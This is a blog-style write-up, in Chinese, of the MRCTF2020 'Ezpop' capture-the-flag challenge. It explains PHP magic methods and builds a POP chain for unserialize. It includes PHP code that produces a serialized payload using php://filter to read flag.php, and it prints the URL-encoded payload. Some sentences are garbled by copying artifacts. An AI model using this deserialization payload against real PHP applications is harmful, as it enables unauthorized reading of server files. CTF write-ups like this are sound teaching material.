MRCTF2020 Ezpop

打开靶机,哇,直接给源码

这道题的知识点是利用php魔术方法的相互关联,构造pop链,其实有的地方没太懂,群里Y1ng大佬还回复我了,好兴奋,这题他的wp也看过,接下来就按我的理解写

知道我对这道题理解多么蠢吗?简直蠢得不可理喻,我以为代码审计,读懂代码会和上次绕过一样的类型,后来证明我真的蠢,给大家看看我的代码审计

我是真得蠢。。。不说了,先来讲一波php魔术方法

__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发

1.上面的提示说flag在flag.php里,可知这里存在文件包含,而源码中能使用文件包含的只有Modifier类里的include函数,而它所在的append方法,在下面的__invoke()方法里被调用了。所以我们需要调用__invoke()方法。

2.如何触发__invoke方法?这个魔术方法我在上面已经已经说了需要把对象当函数用的时候触发,纵观整块代码。只有Test类里的__get()方法可以利用,因为它里面$function()意味着把 f u n c t i o n 当 作 函 数 使 用 , 那 我 们 只 需 要 将 function当作函数使用,那我们只需要将 function使this->p弄成对象就行。现在我们需要考虑如何调用__get()

3.已知__get()方法需要调用不可访问的属性触发,代码里调用属性的地方都没问题,但有一个__toString()方法里的$this->str->source貌似可以用,其他的对象调用属性时都是对的,但是这里,它居然调用属性的属性,那我们把$this->str声明为一个没有source属性的类对象即可,这里用的类是Test,因为Test里有__get()方法。我们需要调用__toString()方法了

4.对象被当作一个字符串用时才能触发__toString方法,那__wakeup里的正则对比那句代码合适,我们只需要把$this->source声明为一个对象即可

5.如何触发__wakeup?调用反序列化时触发,代码最下面传值时有unserialize函数,只要向pop传值即可。

向pop传值→触发unserialize函数→触发__wakeup→触发对象当作字符串用→触发__toString→触发调用不可读取属性→触发__get→触发对象当作函数使用→触发__invoke→调用append,append里有include文件包含

从反序列化进程开始分析,首先反序列化之后会触发__wakeup(),接着__wakeup()又会直接触发__tostring(),从而访问str的成员source,这时如果我们让str等于Test类对象,由于Test中没有source,就会触发__get(),将 p 以 函 数 的 形 式 返 回 , 而 我 们 再 让 p以函数的形式返回,而我们再让 pp等于Modifier的话,__invoke()方法就会触发,从而自动调用append函数包含flag.php

<?php 
class Modifier { 
	protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; 
} 
class Show{ 
	public $source; 
	public $str; 
} 
class Test{ 
	public $p; 
} 
$a=new Show(); 
$a->source=new Show(); 
$a->source->str=new Test(); 
$a->source->str->p=new Modifier(); 
echo urlencode(serialize($a));

输出为

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

传入pop

把返回值base64解码

得出flag,还是不太懂,一个pop链搞得身心俱疲。

明天周五,上午Java课上完就五一九天假了,待在工作室恶补吧,多练,毫无技术,蓝帽杯啥都不会,吹牛要面子倒是挺强。好烦。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tajang

感谢投喂

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值